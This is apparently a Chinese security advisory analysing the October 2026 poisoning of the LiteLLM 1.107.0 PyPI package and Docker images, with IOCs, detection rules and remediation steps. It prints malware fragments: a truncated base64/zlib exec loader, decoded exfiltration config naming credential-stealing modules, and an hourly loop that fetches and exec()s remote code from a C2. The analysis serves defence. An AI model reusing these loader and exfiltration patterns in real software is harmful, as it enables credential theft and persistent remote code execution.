← 返回列表

LiteLLM 1.107.0 供应链投毒安全事件分析预警

单站 M01NTeam 发布 Mon, 02 Nov 2026 18:00:00 +0800 入库 2026-11-18T08:14:02

原创 天元实验室 2026-11-02 18:00 北京

LiteLLM 官方 PyPI 包 v1.107.0 于 2026 年 10 月 21 日遭供应链投毒,所有 7 个 wheel 均携带凭据窃取器与远程代码执行后门

概述

LiteLLM 是 BerriAI 维护的开源 AI 网关,GitHub 约 6.2 万 star(61,760)、12,559 fork,月下载量约 9200 万(近 30 天 92,239,101),fofa搜索存在资产183,523条。它把各主流 LLM 供应商(OpenAI、Anthropic Claude、AWS Bedrock、Google Gemini、Azure AI 等)的 API 统一为 OpenAI 兼容格式,应用一次接入即可调用 100+ 模型。在企业架构中,LiteLLM 通常位于应用层与 LLM供应商之间,承担负载均衡、速率限制、成本追踪与 API 密钥管理等职责。由于集中托管了所有上游 LLM 供应商的 API 密钥与凭证,LiteLLM 属于高价值攻击目标。

LiteLLM 官方 PyPI 包 v1.107.0 于 2026 年 10 月 21 日遭供应链投毒(记录编号 MAL-2026-2144),所有 7 个 wheel 均携带凭据窃取器与远程代码执行后门;官方 Docker 镜像的多个标签同样受影响。 已安装并在投毒窗口内运行过 Python 的主机、容器或 CI Runner,应按“已失陷”处置并立即轮换凭据。

01 事件概览

| 项目 | 内容 |
| 受影响包 | litellm==1.107.0,PyPI 全部 7 个平台 wheel 均含恶意载荷 |
| 受影响镜像 | litellm/litellm:v1.107.0;GHCR 的 v1.107.0、latest、main-latest、main-stable 在观测时指向同一受影响镜像 |
| PyPI 暴露窗口 | 2026-10-21 11:39–13:23 UTC |
| Docker/GHCR 暴露窗口 | 2026-10-21 约 11:46–14:20/14:32 UTC,恶意镜像随后被移除 |
| 官方结论 | LiteLLM 确认发布流水线被入侵,受影响版本已下架;企业私有发布版未受影响 |
| 历史关联 | 这是 2026 年 LiteLLM 第二次供应链事件;3 月的 1.82.7、1.82.8 也曾被投毒 |

LiteLLM 官方表示,攻击者疑似通过三名工程师的 GitHub CLI OAuth Token 触发并批准了发布流水线;相关 Token 已被吊销,但攻击入口仍在调查中。

02 风险概述

恶意代码并不等待用户 import litellm。攻击者通过 wheel 的 purelib 数据目录,把三个文件直接释放到 site-packages 根目录:

因此,只要在该环境中启动过 python 或 pip,即使业务代码从未调用 LiteLLM,恶意逻辑也可能已经执行。 更严重的是,在受感染环境中运行 pip uninstall 或 pip install 修复版本,本身也会再次触发这些启动钩子。

03 窃取与后门能力

cook.py 内嵌 Base64+zlib 压缩的约 61 KB 载荷,包含 16 个收集模块,目标包括:

收集结果经 AES-256-CBC 加密、RSA-4096 公钥封装后,POST 至仿冒域名:

hxxp://www[.]litellm[.]dev/healthcheck
该域名并非 LiteLLM 官方域名;官方项目域名为 litellm.ai。

sitecustomize.py 则会 fork 一个脱离终端的后台进程,创建 /tmp/remote_code_loader.lock,每小时从 GitHub 仓库 letters9813/pythonclient-test 的 domain.txt 获取 C2 域名,再从 http://\/codepy 下载 Python 代码并直接 exec 执行。这构成可持续的远程代码执行通道,而非一次性信息窃取。

04 攻击链完整还原

4.1 入侵发布流水线

攻击者获得或滥用 LiteLLM 工程师的 GitHub CLI OAuth Token,触发并批准了发布 Workflow。

官方 Git Tag 本身可能是干净的,但实际发布到 PyPI 的 wheel 来自被篡改的构建源。SafeDep 的取证分析指出,恶意发布制品与公开 Git tag 不一致,说明攻击发生在构建或发布环节,而非单纯修改源码仓库。

4.2 构建恶意 wheel

攻击者通过 pyproject.toml 中加入 data = "cook" 配置。

data = "cook"
随后,攻击者将恶意文件放入 cook/ 目录。

构建 wheel 时,data = "cook" 会使构建系统把 cook/ 目录内容写入 wheel 内部的:

<package>.data/purelib/
4.3 发布至 PyPI 与镜像仓库

恶意 litellm==1.107.0 被发布到 PyPI,并被构建为 Docker 镜像推送至 Docker Hub 和 GHCR。

4.4 用户安装或拉取镜像

用户执行:

pip install litellm==1.107.0
或拉取

docker pull litellm/litellm:v1.107.0
会解包 wheel,并将 .data/purelib 中的内容释放到目标 Python 环境的 site-packages 根目录。

于是,三个恶意文件被放置到,恶意文件进入 Python 环境或容器文件系统。

site-packages/cook.pth

site-packages/cook.py

site-packages/sitecustomize.py

这就是整个攻击的“落地点”。

4.5 Python 启动即执行

一旦运行:

python

pip

pytest

uv

python -m xxx

Python 会依次处理:

4.6 收集凭据并外传

cook.py 内嵌 Base64+zlib 压缩的约 61 KB 载荷,包含 16 个收集模块。

import zlib as _3659944d,base64 as _35100b45;exec(_3659944d.decompress(_35100b45.b64decode('eNrdfWt327qu4Pf+Ck/XdCTvxu9HnJydcydN0zZtHt1J+nRytGSJtlXLkirJdpKuzm8fAKQk6mU77b53zp2uvWNbAkGQAEEAJEFr7rl+WHGDnUpwD39Ca852Kt8C19mpWO5OxYdfvu6Y7hwApovQsncqIz1g/S78do0ZC3cq...')), {'__name__': 'p14c7d1bb'})
对其解码后:

PC_URL = 'http://www.litellm.dev/healthcheck'

PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb'

PC_PUBKEY = '-----BEGIN PUBLIC KEY-----\nMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU...'

PC_MODULES = ['sysinfo', 'netinfo', 'browser_pw', 'browser_hist', 'ssh_keys', 'shell_hist',

'cloud_creds', 'dev_secrets', 'container_creds', 'cicd_secrets', 'ai_devtools',

'env_vars', 'db_litellm', 'cloud_metadata', 'gpg_keys', 'tls_privkey']

PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'

PC_ASYNC = True

收集结果经 AES-256-CBC 加密,并使用内嵌 RSA-4096 公钥封装,随后 POST 至仿冒域名:

公开报告披露的请求头包括:

X-Token: XWiA8gZNa7NcX2XRoAEb
注意:litellm.dev 并非 LiteLLM 官方域名;官方项目域名为 litellm.ai。

4.7 建立每小时远程执行通道

sitecustomize.py 会 fork 一个脱离终端的后台进程,并创建:

/tmp/remote_code_loader.lock
该进程每小时执行以下操作:

GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"

CODE_PATH = "/codepy"

LOOP_INTERVAL = 3600

...

text = await fetch_text(GITHUB_RAW_URL)

domain = next((line.strip() for line in text.splitlines() if DOMAIN_RE.match(line.strip())), None)

ifnot domain:

return

await resolve_domain(domain)

...

code = await fetch_text("http://{}{}".format(domain, CODE_PATH))

await exec_code(code)

访问 GitHub dead drop:

获取 C2 域名后,从:

http://<C2>/codepy
下载 Python 代码,并直接通过 exec() 执行。

这已经不是一次性的信息窃取,而是可持续更新的远程代码执行通道。

05 影响判定

高风险(按已失陷处理):

相对低风险:

注意:/tmp/.pc_once_72129118c59f5636c0bb 标记文件不存在,不能证明主机未被感染;上传失败、/tmp 清理或容器重建都可能导致标记缺失。

06 紧急处置步骤

首要原则:不要先在疑似受感染环境中运行 python、pip 或任何 Python 工具;先用可信介质、宿主机 Shell 或独立取证环境检查。

6.1 立即隔离与止损

6.2 排查恶意文件与进程

在不启动 Python的前提下,检查每个虚拟环境、容器层和镜像中的 site-packages 根目录:

find / -path '*/site-packages/cook.pth' -o \

-path '*/site-packages/cook.py' -o \

-path '*/site-packages/sitecustomize.py'2>/dev/null

同时检查:

/tmp/.pc_once_72129118c59f5636c0bb

/tmp/remote_code_loader.lock

排查持有 /tmp/remote_code_loader.lock 的脱离终端 Python 进程;sitecustomize.py 文件名本身不构成确凿 IOC,应结合文件位置、大小、哈希和出网行为判断。

6.3清理与重建

6.4 全面轮换凭据

只要受影响主机具备出网能力,应默认认为凭据外传可能已成功。需从干净环境轮换:

轮换后,应回溯云厂商、身份提供商、代码托管平台和容器仓库的审计日志,检查安装时间之后是否存在异常登录、Token 使用、镜像推送或资源创建。

07 公开IOC

文件IOC

site-packages/cook.pth

site-packages/cook.py

site-packages/sitecustomize.py

/tmp/.pc_once_72129118c59f5636c0bb

/tmp/remote_code_loader.lock

网络IOC

hxxp://www[.]litellm[.]dev/healthcheck

X-Token: XWiA8gZNa7NcX2XRoAEb

https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt 

http://<C2>/codepy 

供应链IOC

litellm==1.107.0

litellm/litellm:v1.107.0

GHCR tags: v1.107.0, latest, main-latest, main-stable

08 检测规则建议

| 类型 | 规则 |
| 文件 | site-packages/cook.pth、site-packages/cook.py、根级异常 sitecustomize.py |
| 文件 | /tmp/.pc_once_72129118c59f5636c0bb、/tmp/remote_code_loader.lock |
| 进程 | 工作目录为 /、脱离终端、持有 remote_code_loader.lock 的 Python 进程 |
| 网络 | POST 至 www.litellm.dev/healthcheck,请求头 X-Token: XWiA8gZNa7NcX2XRoAEb |
| 网络 | 访问 raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt,随后请求 /codepy |
| 供应链 | 锁文件、SBOM、构建日志、镜像层中出现 litellm==1.107.0 或恶意 wheel SHA-256 |

09 长期加固建议

  1. 锁定依赖与镜像 digest:Python 依赖写入 lockfile 并校验哈希;容器禁止使用 latest、main-latest 等浮动标签,改为不可变 digest。
  2. 设置新版本冷却期:对刚发布的依赖设置数小时至数天延迟,避免在投毒窗口内自动升级。
  3. 保护 CI/CD 身份:发布、审批、部署权限分离;使用短生命周期、最小权限 Token;审计谁能触发和批准 Release Workflow。
  4. 校验构建来源与制品内容:比对 Git Tag、构建 provenance、wheel 内容和 Docker 镜像;特别检查 wheel 是否在 site-packages 根部释放 .pth、sitecustomize.py 等启动文件。
  5. 降低 AI 网关爆炸半径:LiteLLM 这类网关集中保存 Provider Key、云身份和数据库配置,天然是高价值目标;应使用短时凭据、Secret Manager、最小权限和独立网络边界。

10 一句话结论

凡是在 10 月 21 日投毒窗口内安装、拉取或运行过 LiteLLM 1.107.0 的环境,都应先隔离、再清理、后重建,并立即从干净环境轮换全部可达凭据;不要在该环境中直接运行 Python 或 pip。

关于 AISS 安全智链社区

本案例已收录至 AISS 安全智链社区案例库,社区地址:https://aiss.nsfocus.com/#/

参考链接

[1] StepSecurity: litellm 1.107.0 Compromised on PyPI: Backdoored Wheels Drop a Credential Stealer and an Hourly Remote Code Loader

[2] Endor Labs: LiteLLM 1.107.0 Compromised: Python Startup Hooks Steal Cloud, AI, and Proxy Credentials

[3] SafeDep: Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor

https://safedep.io/litellm-pypi-compromise-credential-stealer-backdoor/

[4] JFrog Security Research: LiteLLM Hijacked Again: Malicious 1.107.0 Wheels Steal Credentials and Load Remote Code

https://research.jfrog.com/post/litellm-hijacked-again

[5] Socket: LiteLLM PyPI Package and Docker Images Compromised to Steal Cloud and AI Credentials

https://socket.dev/blog/litellm-compromise

[6] Wiz: LiteLLM Compromised, Steals Credentials

https://www.wiz.io/blog/litellm-compromised-steals-credentials

[7] Aikido: LiteLLM compromised again: infostealer and RAT found in version 1.107.0

https://www.aikido.dev/blog/litellm-compromised-infostealer-rat

[8] DEV Community: LiteLLM 1.107.0 stole credentials from every Python process. I checked PyPI and reproduced the mechanism with a canary

[9] LiteLLM 官方安全通告: Contained: Oct 21, 2026 LiteLLM release v1.107.0 Compromised

https://docs.litellm.ai/blog/security-update-march-2026

[10] Wiz: Three’s a Crowd: TeamPCP trojanizes LiteLLM in continuation of campaign(2026 年 3 月事件)

https://www.wiz.io/blog/threes-a-crowd-teampcp-trojanizes-litellm-in-continuation-of-campaign

绿盟科技天元实验室专注于新型实战化攻防对抗技术研究。

研究目标包括:漏洞利用技术、防御绕过技术、攻击隐匿技术、攻击持久化技术等蓝军技术,以及攻击技战术、攻击框架的研究。涵盖Web安全、终端安全、AD安全、云安全等多个技术领域的攻击技术研究,以及工业互联网、车联网等业务场景的攻击技术研究。通过研究攻击对抗技术,从攻击视角提供识别风险的方法和手段,为威胁对抗提供决策支撑。

M01N Team公众号

聚焦高级攻防对抗热点技术

绿盟科技蓝军技术研究战队

官方攻防交流群

网络安全一手资讯

攻防技术答疑解惑

扫码加好友即可拉群

原文链接:https://mp.weixin.qq.com/s?__biz=MzkyMTI0NjA3OA==&mid=2247495655&idx=1&sn=60d2b133338c3f54c6773aad98c19f5d